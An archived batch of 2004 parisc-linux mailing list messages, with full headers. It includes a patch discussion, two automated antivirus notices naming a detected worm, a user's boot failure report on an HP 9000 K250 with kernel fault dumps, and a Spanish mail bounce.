On Sunday 28 of March 2004 00:49, Grant Grundler wrote:
> On Sun, Mar 28, 2004 at 12:24:57AM +0100, Bartlomiej Zolnierkiewicz wrote:
> > Well, I know but I have other cleanups incremental to this one. :-)
>
> Ah ok - go for it.
>
> > It is also NOP for #ifdef CONFIG_PCI (that is the reason for this patch
> > BTW) since both ide_default_io_base() and ide_default_irq() are defined
> > as '0'.
>
> Ok - I didn't look any deeper.
>
> > > Hypothetically someone could add an IDE card
> > > to a parisc EISA bus (eg 725), not define PCI, and then run the IDE
> > > in PIO mode since DMA is still kaputt behind our EISA IOMMU.
> >
> > That would require (at least) passing "ide=base[,ctl,[irq]]" kernel
> > parameter.
>
> I was told offline my hypothetical example is in fact hypothetical.
> parisc won't build with IDE unless PCI is defined. I haven't tried.

Ok, I will push this to Linus.

Thanks,
Bartlomiej



From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sun, 28 Mar 2004 01:56:35 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <0c6a01c4145f$848517a0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623311 7344 80.91.229.3 (22 Nov 2014 02:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sat Mar 27 17:57:12 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B150489D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 17:57:11 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88205.dip0.t-ipconnect.de
	[217.232.130.5])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2S0vAo04973
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 01:57:10 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sun, 28 Mar 2004 01:56:35 +0100
thread-index: AcQUX4SFeYmkDUMeS7ylTpn3IEnOXQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 28 Mar 2004 00:56:35.0426 (UTC)
	FILETIME=[84B72420:01C4145F]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 00:57:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21217

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/28/2004 1:56:34 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sun, 28 Mar 2004 07:06:38 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <0d2401c41482$7381b1c0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623312 7350 80.91.229.3 (22 Nov 2014 02:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sat Mar 27 22:06:53 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16DCC488E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 22:06:53 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88205.dip0.t-ipconnect.de
	[217.232.130.5])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2S56po06331
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 07:06:51 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sun, 28 Mar 2004 07:06:39 +0200
thread-index: AcQUgnN/qSxxL8C3S1a5Sz1nDaQ42A==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 28 Mar 2004 05:06:39.0112 (UTC)
	FILETIME=[739BF080:01C41482]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 05:06:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21218

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/28/2004 7:06:38 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wayne Rooney" <wrooney@ihug.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble booting hp9000 k class model k250 (longish)
Date: Mon, 29 Mar 2004 00:23:40 +1200
Lines: 438
Approved: news@gmane.org
Message-ID: <000501c414bf$85f743a0$0a01a8c0@wayneroo.inet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623312 7354 80.91.229.3 (22 Nov 2014 02:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: wrooney@ihug.co.nz  Sun Mar 28 05:24:21 2004
Return-Path: <wrooney@ihug.co.nz>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grunt1.ihug.co.nz (grunt1.ihug.co.nz [203.109.254.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC918488E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 05:24:20 -0700 (MST)
Original-Received: from p116-nas2.akl.ihug.co.nz (wayneroo) [203.173.211.116] 
	by grunt1.ihug.co.nz with smtp (Exim 3.35 #1 (Debian))
	id 1B7ZKl-0003JK-00; Mon, 29 Mar 2004 00:24:12 +1200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 12:24:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21219


Hello list.

I have acquired an HP 9000 K class server, model K250.

I woud like to install Linux on it but I am having a spot of trouble getting
it to boot from a Linux cd.

I've been using Linux on x86 for a couple of years but this is my first
parisc computer and I don't know much about the platform yet.

I've done enough research in the last week to know I need a "-PDC-" image or
a kernel after, what was it, 2.4.19?

Anyway, I've tried booting a couple of iso's, and they both hang at the
point where the serial driver loads.

If anyone could suggest a handling I would very much appreciate it.

Data follows:

The first iso was palinux-2.4.21-pa6-20030718-netinst.iso which was
downloaded from http://www.pateam.org/cd-images/testing/ and it produces:


Firmware Version  36.51

Duplex Console IO Dependent Code (IODC) revision 4

----------------------------------------------------------------------------
--
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
----------------------------------------------------------------------------
--

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0      160  MHz   Active                 Functional            1 MB
      1      160  MHz   Idle                   Functional            1 MB

  Central Bus Speed (in MHz)  :        120
  Available Memory            :     524284  KB
  Good Memory Required        :      42240  KB

   Primary boot path:    10/12/5.2      (dec)
   Alternate boot path:  10/0.6         (dec)
   Console path:         10/4/0.0       (dec)
   Keyboard path:        10/12/7.0      (dec)

CPU 0
  WARNING:  Memory has been initialized, but not tested as a result of
            FASTBOOT being enabled.  To test memory, use the FASTBOOT
            command in the Configuration menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Boot image contains:
    0/vmlinux32 4046404 bytes @ 0x458800
    0/vmlinux64 5358339 bytes @ 0x834800
    0/ramdisk 2660614 bytes @ 0xd51000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'ramdisk_size=8192 root=/dev/ram console=ttyS0
TERM=vt1
02 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
32-bit ke
rnelELF32 executable
Entry 00100138 first 00100000 n 5
Segment 0 load 00100000 size 2238020 mediaptr 0x1000
Segment 1 load 00324000 size 726600 mediaptr 0x224000
Segment 2 load 003d8000 size 8192 mediaptr 0x2d6000
Segment 3 load 003e0000 size 32768 mediaptr 0x2d8000
Segment 4 load 0040a33c size 114976 mediaptr 0x2e033c
Loading ramdisk 2660614 bytes @ 1fd65000...
Branching to kernel entry point 0x00100138.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.21-32 (root@k2000) (gcc version 3.0.4) #1 Fri Jul 18
01:59:14
CEST 2003
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005a40 00000491 00000000 00000002 1c77f42d 100000f1 00000008
000000b2 00
0000b2
vers  00000205
CPUID vers 14 rev 9 (0x000001c9)
model 9000/802/K250
Total Memory: 512 Mb
initrd: 2fd65000-2ffee906
initrd: reserving 1fd65000-1ffee906 (mem_max 20000000)
pagetable_init
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: ramdisk_size=8192 root=/dev/ram console=ttyS0
TERM=vt102 pa
lo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 319.48 BogoMIPS
Memory: 512188k available
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
3. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
4. Mohawk Core FW-SCSI (4) at 0xf1800000 [10/0], versions 0x44, 0x0, 0x89
5. Gecko BOA BC GSC+ Port (7) at 0xf1804000 [10/4], versions 0x500, 0x0, 0xc
6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44, 0x0, 0xd
7. Wizard SCSI (4) at 0xf1904000 [10/4/4], versions 0x4, 0x0, 0x3b
8. unknown device (2) at 0xf1908000 [10/4/8], versions 0x4, 0x0, 0x5f
9. Interphase NIO-100BaseTX (4) at 0xf1910000 [10/4/16], versions 0x4, 0x0,
0x38
2
10. Gecko BOA BC HP-PB Port (7) at 0xf193c000 [10/4/60], versions 0x103,
0x0, 0x
c
11. Shrike Add-on FW-SCSI (4) at 0xf1808000 [10/8], versions 0x14, 0x1, 0x89
12. Mohawk Core BA (11)t 0xffd00000 [10/12], versions 0x44, 0x0, 0x81,
addition
al addresses: 0xffd0c000 0xffc00000
13. Mohawk Core Centronics (10) at 0xffd02000 [10/12/0], versions 0x44, 0x0,
0x7
4,  additional addresses: 0xffd01000 0xffd03000
14. Mohawk Core SCSI (10) at 0xffd06000 [10/12/5], versions 0x44, 0x0, 0x82
15. Mohawk Core LAN (802.3) (10) at 0xffd07000 [10/12/6], versions 0x44,
0x0, 0x
8a
16. Mohawk Core PS/2 Port (10) at 0xffd08000 [10/12/7], versions 0x44, 0x0,
0x84

17. Mohawk Core PS/2 Port (10) at 0xffd08100 [10/12/8], versions 0x44, 0x0,
0x84

18. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
19. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffa0000 [32], versions 0x5a4, 0x0,
0x4

20. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffa2000 [34], versions 0x5a4, 0x0,
0x4

21. Memory (1) at 0xfffb1000 [49], versions 0x53, 0x0, 0x9
CONFIG_SMP=n  ignoring additional CPUs
CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
pty: 256 Unix98 ptys configured
PDC Software Console version 0.3 (2001-11-17), christoph.plattner@gmx.at
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI en
abled

Stack Dump:
 2fff8740:  0006000f 844650f4 eec9f818 4223287a
 2fff8730:  7764fc0c 101635c4 00000001 0000000f
 2fff8720:  103eee6b 10337810 10337b68 0000000f
 2fff8710:  10337810 fffff14b 10337810 103f3010
 2fff8700:  0000000f f000011c f0000124 f0001580
 2fff86f0:  0000021e 103a2dd4 00000200 0000000f

Kernel addresses on the stack:
 [<101635c4>]  [<10122e6c>]  [<1011e1e4>]  [<101d52a0>]
 [<101002ac>]  [<10108c4c>]  [<10108cf4>]  [<10102538>]
 [<1011d9e0>]  [<10163008>]  [<1011db64>]  [<101635c4>]
 [<1011ded4>]  [<1010029c>]  [<10163858>]  [<101215f8>]


Kernel Fault: Code=26 regs=2fff8740 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  00000000 10334010 103a2dd4 10400810
r04-07  00000008 103ff010 00000013 0000002f
r08-11  103c34 10337bac 10000080 10337810
r12-15  000000f2 000000fa f0140000 00000007
r16-19  f0001580 f0000124 f000011c 00000000
r20-23  00000002 00000000 10400928 00000000
r24-27  00000093 00000002 00000093 10324010
r28-31  00000000 0000002f 2fff8740 103a2d88
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10110d58 10110d5c
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
 CPU:        0   CR30: 2fff8000 CR31: 103e0000
 ORIG_R28: 00000000


The second iso was livecd-hppa-beta_04.iso downloaded from
http://gentoo.chem.wisc.edu/gentoo/experimental/hppa/livecd/ which produced
the following output:

Firmware Version  36.51

Duplex Console IO Dependent Code (IODC) revision 4

----------------------------------------------------------------------------
--
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
----------------------------------------------------------------------------
--

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0      160  MHz   Active                 Functional            1 MB
      1      160  MHz   Idle                   Functional            1 MB

  Central Bus Speed (in MHz)  :        120
  Available Memory            :     524284  KB
  Good Memory Required        :      42240  KB

   Primary boot path:    10/12/5.2      (dec)
   Alternate boot path:  10/0.6         (dec)
   Console path:         10/4/0.0       (dec)
   Keyboard path:        10/12/7.0      (dec)

CPU 0
  WARNING:  Memory has been initialized, but not tested as a result of
            FASTBOOT being enabled.  To test memory, use the FASTBOOT
            command in the Configuration menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.2 root@b180l.da-kot Tue Apr  8 12:43:07 CEST 2003

Boot image contains:
    0/vmlinux32 3308755 bytes @ 0x17d7800
    0/ramdisk 1522047 bytes @ 0xf800

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: ' TERM=linux root=/dev/ram0 init=/linuxrc
console=ttyS0
 palo_kernel=0/vmlinux-32'
Selected kernel: /vmlinux-32 from partition 0
Selected ramdisk: initrd from partition 0
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1873764 mediaptr 0x1000
Segment 1 load 002ca000 size 623560 mediaptr 0x1cb000
Segment 2 load 00364000 size 8192 mediaptr 0x264000
Segment 3 load 00368000 size 32768 mediaptr 0x266000
Segment 4 load 00390324 size 100976 mediaptr 0x26e324
Loading ramdisk 1522047 bytes @ 1fe7b000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.20-pa32 (root@b180l.da-kot) (gcc version 3.2.2) #1 Fri May
9 2
0:31:04 Local time zone must be set--see zic manua
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel hs started...
Determining PDC firmware type: System Map.
model 00005a40 00000491 00000000 00000002 1c77f42d 100000f1 00000008
000000b2 00
0000b2
vers  00000205
CPUID vers 14 rev 9 (0x000001c9)
model 9000/802/K250
Total Memory: 512 Mb
initrd: 2fe7b000-2ffee97f
initrd: reserving 1fe7b000-1ffee97f (mem_max 20000000)
pagetable_init
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line:  TERM=linux root=/dev/ram0 init=/linuxrc console=ttyS0
palo
_kernel=0/vmlinux-32
Console: colour dummy device 160x64
Calibrating delay loop... 319.48 BogoMIPS
Memory: 513804k available
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
3. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
4. Mohawk Core FW-SCSI (4) at 0xf1800000 [10/0], versions 0x44, 0x0, 0x89
5. Gecko BOA BC GSC+ Port (7) at 0xf1804000 [10/4], versions 0x500, 0x0, 0xc
6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44, 0x0, 0xd
7. Wizard SCSI (4) at 0xf1904000 [10/4/4], versions 0x4, 0x0, 0x3b
8. unknown device (2) at 0xf1908000 [10/4/8], versions 0x4, 0x0, 0x5f
9. Interphase NIO-100BaseTX (4) at 0xf1910000 [10/4/16], versions 0x4, 0x0,
0x38
2
10. Gecko BOA BC HP-PB Port (7) at 0xf193c000 [10/4/60], versions 0x103,
0x0, 0x
c
11. Shrike Add-on FW-SCSI (4) at 0xf1808000 [10/8], versions 0x14, 0x1, 0x89
12. Mohawk Core BA (11) at 0xffd00000 [10/12], versions 0x44, 0x0, 0x81,
additi
onal addresses: 0xffd0c000 0xffc00000
13. Mohawk Core Centronics (10) at 0xffd02000 [10/12/0], sions 0x44, 0x0,
0x74,
 additional addresses: 0xffd01000 0xffd03000
14. Mohawk Core SCSI (10) at 0xffd06000 [10/12/5], versions 0x44, 0x0, 0x82
15. Mohawk Core LAN (802.3) (10) at 0xffd07000 [10/12/6], versions 0x44,
0x0, 0x
8a
16. Mohawk Core PS/2 Port (10) at 0xffd08000 [10/12/7], versions 0x44, 0x0,
0x84

17. Mohawk Core PS/2 Port (10) at 0xffd08100 [10/12/8], versions 0x44, 0x0,
0x84

18. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
19. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffa0000 [32], versions 0x5a4, 0x0,
0x4

20. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffa2000 [34], versions 0x5a4, 0x0,
0x4

21. Memory (1) at 0xfffb1000 [49], versions 0x53, 0x0, 0x9
CONFIG_SMP=n  ignoring additional CPUs
CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
devfs: v1.12c (20020818) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI en
abled

Stack Dump:
 2fe6c700:  0006000f f000011c f0000124 f0001580
 2fe6c6f0:  00000007 101631cc 10382308 102ddb48
 2fe6c6e0:  00008124 1038801c 00000000 10387810
 2fe6c6d0:  10364000 102dd810 00000001 102ddfa0
 2fe6c6c0:  102ddfa0 00000000 102aa000 1038063c
 2fe6b0:  00000000 1033dfc0 000000bc 102dd810

Kernel addresses on the stack:
 [<101631cc>]  [<10164c70>]  [<1011e208>]  [<10100174>]
 [<10108c4c>]  [<10108cf4>]  [<101395d8>]  [<1010b55c>]
 [<1013666c>]  [<1011db30>]  [<10137024>]  [<1011dee0>]
 [<10100164>]  [<101631cc>]  [<10121510>]

Kernel Fault: Code=26 regs=2fe6c700 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  00000000 102da010 1033dfc0 10389010
r04-07  00000013 00000000 10387810 0000002f
r08-11  102ebc84 102ebc84 102dd810 102da810
r12-15  000000f2 000000fa f0140000 00000007
r16-19  f0001580 f0000124 f000011c 00000000
r20-23  00000002 00000000 10389510 00000000
r24-27  00000093 00000002 00000093 102ca010
r28-31  00000000 0000002f 2fe6c700 1033df74
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101109e8 101109ec
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
 CPU:        0   CR30: 2fe6c000 CR31: 10368000
 ORIG_R28: 30313233



Addidtional data:  I don't have a keyboard or a mouse plugged into it -
access is through the serial console.
Thanks for your time.

Cheers,  Wayne



From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Servicio de reparto de correo <postmaster@vtr.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-8859-1?q?Notificaci=F3n_del_estado_de_entre?=
	=?iso-8859-1?q?ga?=
Date: Sun, 28 Mar 2004 10:08:08 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <3F89F80A034B8DD6@mx01.vtr.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Report; report-type=delivery-status;
	boundary="========/3F89F80A034B8DD5/mx01.vtr.net"
X-Trace: ger.gmane.org 1416623312 7355 80.91.229.3 (22 Nov 2014 02:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sun Mar 28 07:08:11 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx01.vtr.net (relay.vtr.net [200.83.1.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5516C482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 07:08:11 -0700 (MST)
Original-Received: by mx01.vtr.net (7.0.012) id 3F89F80A034B8DD7 for
	parisc-linux@lists.parisc-linux.org; Sun, 28 Mar 2004 10:08:08 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 14:08:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21220

Este mensaje MIME de múltiples partes trae una notificación del estado de entrega.
Si ve este texto, quiere decir que su cliente de correo podría no entender los mensajes
de formato MIME o DSN (véase del RFC 2045 al 2049 para obtener información general sobre mensajes MIME
y del RFC 1891 al 1894 para obtener información específica sobre DSN).

--========/3F89F80A034B8DD5/mx01.vtr.net
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

 - Los siguientes destinatarios fueron cursados por el servidor de correo:
imagenart@vtr.net; Fallido; 5.2.2 (buzn lleno)

    MTA remoto 200.83.1.21: Diagnstico de SMTP: 552 RCPT TO:<imagenart@vtr.net> Mailbox disk quota exceeded



